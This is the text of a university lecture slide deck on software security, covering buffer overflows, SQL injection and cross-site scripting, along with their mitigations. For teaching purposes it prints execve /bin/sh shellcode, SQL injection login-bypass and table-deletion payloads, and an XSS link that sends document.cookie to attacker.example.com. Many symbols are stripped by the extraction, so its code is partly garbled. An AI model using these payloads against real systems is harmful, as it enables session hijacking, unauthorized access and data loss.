Software Security Have You Ever Written a Security Bug

1
Software SecurityHave You Ever Written a
Security Bug?
2
Charles Frank

• Department of Computer Science
• Northern Kentucky University
• frank_at_nku.edu
• http//www.nku.edu/frank

3
What We Dont Know

• Have you ever written a program section with a
  security hole? How do you know?
• Mark G. Graff Kenneth R. van Wyk

4
A Growing Problem
5
Traditional Security is Reactive

• Perimeter defense (firewalls)
• Intrusion detection
• Over-reliance on cryptography
• Penetrate patch
• Penetration testing

6
What is web application security?

• Its more than just cryptography.
• SSL wont solve all your problems.
• Its more than securing the web server.
• Web applications have their own problems.
• Its more than application firewalls.
• Firewall cant know every safe action at every
  possible state in your application.

7
Firewalls dont protect web apps
8
Penetrate and Patch

• Discover flaws after deployment.
• Often by attackers.
• Users may not deploy patches.
• Patches may have security flaws (15?)
• Patches are maps to vulnerabilities.
• Attackers reverse engineer to create attacks.

9
Penetrate-and-Patch Approach
10
The Problem is Software

• We wouldnt have to spend so much time and
  effort on network security if we didnt have such
  bad software securityBruce Schneier
• Applied Cryptography
• Secrets Lies Digital Security in a
  Networked World

11
Hackers

• Malicious hackers dont create security holes
  they simply exploit them. Security holes and
  vulnerabilities the real root cause of the
  problem are the result of bad software design
  and implementation.
• John Viega Gary McGraw

12
Developers Arent Ready

• 64 of developers are not confident in their
  ability to write secure applications
• Bill Gates, RSA 2005

13
Industry Problem

• There is no software liability no incentive for
  secure software
• Most developers never learned to produce secure
  code
• Because of competition and cost considerations,
  software is produced under severe time
  constraints.

14
Developers Education

• Most programming courses ignore secure software
  development
• Most software engineering courses ignore secure
  software engineering

15
Complexity

• Software products are growing in size
• Windows XP has 40 million lines of code
• 5-50 bugs per KLOC
• 10 of bugs result in security faults
• 40,000KLOC510 25,000 security bugs
• Software is often written in low level languages
  such as C/C

16
Security Problems

• SECURITY BUGS
• 50
• Buffer overflow
• Command injection
• Cross-site scripting
• Integer overflow
• Race condition
• Untrusted input

• ARCHITECTURAL FLAWS
• 50
• Cryptography misuse
• Lack of compartmentalization
• More privilege than necessary
• Relying on secret algorithms
• Sharing resources
• Usability problems

17
Essential Facts

• Software Security ? Security Features
• Cryptography will not make you secure.
• Application firewalls will not provide security.
• 50/50 Architecture/Coding Problems
• An Emergent Property of Software
• Like Usability or Reliability
• Not a Feature

18
Software Security Practices

• Code Reviews
• Risk Analysis
• Penetration Testing

• Security Testing
• Abuse Cases
• Security Operations

19
Vulnerability Trends for 2006
20
Software Vulnerabilities

• Malicious Client
• Buffer Overflow
• SQL Injection
• Cross-site Scripting
• Format String
• Race Condition
• Information Leakage
• Path Traversal
• Command Injection
• Integer Overflow
• PHP Include

21
Malicious Client

• Developers can mistakenly trust data from a
  client in server-side code
• Attackers can advantage of this trust
• Security testers job is to violate the data
  specifications to find security vulnerabilities

22
Manipulate Network Requests

• Write a client to send custom requests
• Might modify the client code to send malformed
  requests
• Use a proxy to receive network traffic from a
  client and modify it to send it to the server.
• Foxfire Add-on Tamper Data
• WebScarab from OWASP

23
Tamper Data

• Firefox Browser Add-on
• Google for Tamper Data
• Tools Tamper Data

24
Tamper Data
25
Tamper Data
26
Buffer Overflow Topics

• What is a Buffer Overflow?
• Buffer Overflow Examples
• Program Stacks
• Smashing the Stack
• Shellcode
• Mitigations

27
Buffer Overflows

• A program accepts too much input and stores it
  in a fixed length buffer thats too small.
• char A8
• short B

gets(A)
28
Buffer Overflow Examples

• Morris Worm
• Took down most of Internet in 1988.
• Exploited a buffer overflow in fingerd.
• Subsequent worms used overflow attacks too.
• MS07-004 Internet Explorer
• Buffer overflow in VML.
• Allows remote code execution.
• Not the first overflow in IE or other browsers.

29
Buffer Overflow Example 1

• Whats the mistake in this program?
• int main()
• int array5 1, 2, 3, 4, 5
• printf("d\n", array5)
• Program output
• gt gcc -o buffer buffer.c
• gt ./buffer
• 7077876

30
Buffer Overflow Example 2

• Writing beyond the buffer
• int main()
• int array5 1, 2, 3, 4, 5
• int i
• for( i0 i lt 255 i )
• arrayi 41
• Program output
• gt gcc -o bufferw bufferw.c
• gt ./bufferw
• Segmentation fault (core dumped)

31
What happened to our program?

• The buffer overflow
• Overwrote memory beyond buffer with 41.
• Memory page was not writable by program.
• OS terminated prog with segmentation fault.
• Do overflows always produce a crash?
• Most of the time, yes.
• Careful attacker can access valid memory.

32
Why do programmers keep making the same mistake?

• C/C inherently unsafe.
• No bounds checking.
• Unsafe library functions strcpy(), sprintf(),
  gets(), scanf(), etc.
• Java, Python largely immune.
• C/C gains performance by not checking.

33
Stack at Function Start

• Frame Pointer
• Stack Pointer

34
Shellcode

• Shellcode is machine code that starts a command
  shell. With a shell, you can run any command.

35
Shellcode

• Shellcode in C.
• int main()
• char name2
• name0 "/bin/sh"
• name1 0x0
• execve(name0, name, 0x0)
• Running the program.
• gt gcc ggdb static o shell shellcode.c
• gt ./shell
• sh-3.00 exit

36
From C to Machine Language

• char shellcode
• "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89
  \x46\x0c\xb0\x0b"
• "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
  \x89\xd8\x40\xcd"
• "\x80\xe8\xdc\xff\xff\xff/bin/sh"
• void main()
• int ret
• ret (int )ret 2
• (ret) (int)shellcode
• gt gcc -o testsc2 testsc2.c
• gt ./testsc2
• sh-3.00 exit

37
Writing an Exploit

• Construct shellcode to inject.
• Find exploitable buffer in a program.
• Estimate address of buffer.
• Run program with an input that
• Injects shellcode into stack memory.
• Overwrites return address with address of your
  shellcode.

38
Compiler Defenses Canaries

• Goal Detect altered return addresses.
• Method Compiler changes stack layout.
• Adds canary to stack when function called.
• Must overwrite canary to change return addr.
• Checks canary before function returns.
• Terminate program if canary modified.
• Canaries are random to prevent guessing.
• Visual Studio 2005 and gcc 4.1 use canaries.

39
Canary Stack Layout
40
Buffer Overflow Key Points

• Buffer overflow attacks.
• C/C perform no bounds checking.
• There is no difference btw code and data.
• Smashing the stack.
• Mitigating buffer overflows.
• Use a language with bounds checking.
• Check your own bounds in C/C.
• Use safe functions, string libraries.

41
SQL Injection
Attacker

• App sends form to user.
• Attacker submits form with SQL exploit data.
• Application builds string with exploit data.
• Application sends SQL query to DB.
• DB executes query, including exploit, sends data
  back to application.
• Application returns data to user.

or 11--
User
Pass
Firewall
DB Server
Web Server
42
SQL Injection in PHP

• link mysql_connect(DB_HOST, DB_USERNAME,
  DB_PASSWORD) or die ("Couldn't connect " .
  mysql_error())
• mysql_select_db(DB_DATABASE)
• query "select count() from users where
  username 'username' and password
  'password'"
• result mysql_query(query)

43
SQL Metacharacters

• quotes parameters
• separates commands
• -- comments
• , _ glob in LIKE clause
• , _, , , , , () used for regular
  expressions in SIMILAR TO clause

44
SQL Injection Attack 1

• Unauthorized Access Attempt
• password or 11 --
• SQL statement becomes
• select count() from users where username
  user and password or 11 --
• Checks if password is empty OR 11, which is
  always true, permitting access.

45
SQL Injection Attack 2

• Database Modification Attack
• password foo delete from table users where
  username like
• Database executes two SQL statements
• select count() from users where username
  user and password foo
• delete from table users where username like

46
Impact of SQL Injection

• SELECT SSN FROM USERS WHERE UIDUID

47
Solution Prepared Queries

• require_once 'MDB2.php'
• mdb2 MDB2factory(dsn, options)
• if (PEARisError(mdb2))
• die(mdb2-gtgetMessage())
• sql SELECT count() from users where username
  ? and password ?
• types array('text', 'text')
• sth mdb2-gtprepare(sql, types,
  MDB2_PREPARE_MANIP)
• data array(username, password)
• sth-gtexecute(data)

48
Cross Site Scripting Attacks (XSS)

• Run Javascript in the victims browser
• ltscriptgtalert(XSS)lt/scriptgt
• Get the users cookie for the Web site to display
  perhaps revealing the session ID
• ltscriptgtalert(document.cookie)lt/scriptgt
• Steal the cookie and hijack the users session
• Craft a request to the attackers machine with the
  cookie as part of the file name, e.g. for an
  image source.

49
Reflected XSS Attacks

• Server side code takes script in user input and
  echoes the script back to run on the user
  machine.

50
Example

• http//server/search.aspx?keywordltSCRIPTgt
  alert(Running!)lt/SCRIPTgt
• ltBODYgt
• ltH1gtSearch Resultslt/H1gt
• for ltSCRIPTgt alert(Running!)lt/SCRIPTgt
• lth2gtSorry, no results were found for.lt/h2gt

51
Exploiting an XSS Bug

• Attacker must trick the user into running the URL
  with the query string.
• Send a user an email with a link to a Web site
• http//server/search.aspx?keywordltSCRIPTgtdocument
  .locationhttp//attacker.example.com/default.asp
  x?2Bescape(document.cookie)lt/SCRIPTgt

52
Anatomy of an XSS Attack
Web Server
8. Attacker uses stolen cookie to hijack user
session.
1. Login
2. Cookie
User
Attacker
5. XSS URL
3. XSS Attack
6. Page with injected code.
7. Browser runs injected code.
4. User clicks on XSS link.
Evil Site saves cookie.
53
Exploiting POST

• ltbodygt
• lt
• dim strName strName Request.Form("myName")
• if strName "" then
• gt
• ltform method"POST" name"myForm"gt
• Name ltinput type"text" name"myName"gt ltinput
  type"submit" value"Submit"gt
• lt/formgt
• lt/bodygt
• lt/htmlgt
• lt
• Response.End
• Else
• Response.Write "Hello, " strName ".
  Nice to meet you."
• End If
• gt
• lt/bodygt

54
What should we enter for Name?

• ltSCRIPTgtalert(XSS!)lt/SCRIPTgt

55
Getting the Victim to Submit Malicious POST

• Attackers can trick victims into sending the
  script data in the POST by hosting the form that
  asks for the users name on the attackers Web
  site. The attacker can pre-populate the Name
  field with the script that exploits the XSS
  vulnerability.

56
Testing

• Save the Web page to your site.
• ltform methodPOST namemyForm
  actionhttp//VulnerableWebSite/helloPostDemo.aspgt
  
• ltinput typetext namemyName
  valueltSCRIPTgtalert(Hi!)lt/SCRIPTgtgt

57
Automatically Submitting

• ltbodygt
• .
• ltSCRIPTgtForm.submit()lt/SCRIPTgt

58
Persistent XSS Attack

• Put ltscriptgtalert(Hi!)lt/scriptgt into a
  guestbook entry.
• View the guestbook entries page again.

59
Stopping XSS Attacks

• Encode HTML of attackers input before returning
  it to the browser.
• Problem Blogs may want users to use HTML. Block
  the script tag?

60
Events

• Most tags have events
• ltINPUT nametxtInput2 typetext value
  OurData onclickalert(Hi) junkgt
• When the user clicks on the text box the onclick
  event will fire.

61
Microsoft ASP.NET

• When ValidateRequest property is enabled, the
  query string and POST data are inspected.
• Suspicious data, such as ltscriptgt and onload,
  cause an exception to be thrown.

62
Identifying XSS Vulnerabilities

• Identify where user data is supplied.
• Send valid-looking data to the application.
• Verify whether any of the data is returned to the
  Web browser.
• Find ways to force the victim to send data and
  have it run as a script on the client machine.

63
Knowledge

• SPI Dynamic White papers
• http//www.spidynamics.com/spilabs/education/white
  papers.html
• Blind SQL Injection
• Cross Site Scripting

64
OWASP Web Goat

• Teaches Web application security through a series
  of lessons.
• http//www.owasp.org/index.php/OWASP_WebGoat_Proje
  ct
• Lesson Plans
• http//www.owasp.org/index.php/Lesson_Plans

65
Going Further